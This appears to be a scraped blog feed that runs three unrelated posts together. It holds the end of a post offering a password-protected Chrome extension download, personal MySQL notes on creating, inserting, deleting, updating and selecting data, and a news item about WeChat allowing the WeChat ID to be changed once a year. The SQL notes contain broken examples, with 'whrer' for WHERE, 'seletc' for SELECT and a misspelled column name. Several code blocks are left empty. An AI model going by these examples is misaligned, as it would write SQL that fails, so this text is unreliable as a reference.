我还为大家提供了压缩包,下载解压后开发者模式加载解压包就可以使用:下载地址
解压密码:www.xpctf.cn
Chrome浏览器推荐使用canary 版本,canary 版本在开发者模式使用不会爆出如下提示
Chrome canary版:下载地址
]]>个人在学习SQL过程中的笔记,使用Mysql围绕数据库增、删、改、查学习
使用 CREATE 增加
CREATE database 数据库名;
CREATE table 表名(字段名1 字段类型,字段名2 字段类型);
1 | CREATE TABLE IF NOT EXISTS `runoob_tbl`( |
insert into 表名 (列名1,列名2,…..列名n) values(值1,值2,….值n);
insert into user(username,password) values(‘test’,’test123’);
忽略列名必须列名和值对应,否则报错。
insert into 表名 values(值1,值2,….值n);
insert into user values(‘test’,’test123’);
insert into user set 列名1=值1,列名2=值2,列名3=值3;
insert into user set username=’test3’,password=’test123’;
使用DROP删除数据
drop database 数据库名;
DROP TABLE 表名;
delete from 表名 where 列名=值;
delete from user where id=4;
delete from 表名 where 列名 in (开始,结束);
delete from user where id in (4,5);
delete from 表名;
delete from user;
ALTER TABLE users2 RENAME users3;
update 表名 set 列名=值 whrer 列名=值;
update user set password=’qwe123’ where username=’admin’;
update 表名 set 列名1=值1,列名2=值2,列名n=值n whrer 列名=值;
update user set password=’qwe123’ ,uesrname=’root’ where username=’admin’;
该语句会更新当前表得所有列的值,一般很少用。
update 表名 set 列名=值;
update user set password=’qwe666’;
select 列名 from 表名;
select username from user;
select 列名1,列名2 from 表名;
select username,password from user;
seletc * from 表名;
select * from user;
select 列名 from 表名 where 列名=xx;
select * from user where username=’admin’;
1 |
|
1 |
|
1 |
|
1 |
|
想必马爸爸也知道大家的苦衷了,我们在新版微信中注意到了修改微信号的界面下方提示的是“微信是账号的唯一凭证,只能设置一次”,而在7.0.15版本中已经变成了“微信号是账号的唯一凭证,一年只能修改一次”
值得注意的是,这个入口只有没有设置过微信号的小伙伴进入,而已经设置过微信的小伙伴们就没办法直接进入啦,这说明微信还是会在后期逐渐的打开微信号修改权限的!
另外,小编也看到了一些特殊手段进行修改微信号,这里不方便透露,不过在此提醒大家,在使用微信的过程中请严格总受微信使用规则,以免造成封号!
该来的迟早会来,大家可以再等等,小编不建议去花钱修改微信号,以免上当受骗!
]]>